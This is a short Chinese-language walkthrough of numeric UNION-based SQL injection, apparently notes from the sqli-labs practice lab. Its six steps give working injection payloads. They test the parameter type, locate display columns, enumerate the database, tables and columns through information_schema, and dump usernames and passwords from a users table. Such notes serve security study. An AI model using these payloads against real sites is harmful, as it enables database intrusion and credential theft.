1、判断为字符型还是整型
?id=1 and 1=2 输入后报错,说明是整形
2、看显示位
?id=-1 union all select 1,2,3
改成-1后才能执行后面的语句,显示位是2,3
3、暴库名
?id=-1 union all select 1,database(),3
4、暴表名
?id=-1 union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’
5、暴列名
?id=-1 union all select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’
6、暴数据
?id=-1 union all select 1,group_concat(username),group_concat(password) from users
总结:大体上和字符型的差不多,最主要的就是判断类型,只要能判断出来,后面的流程都一样了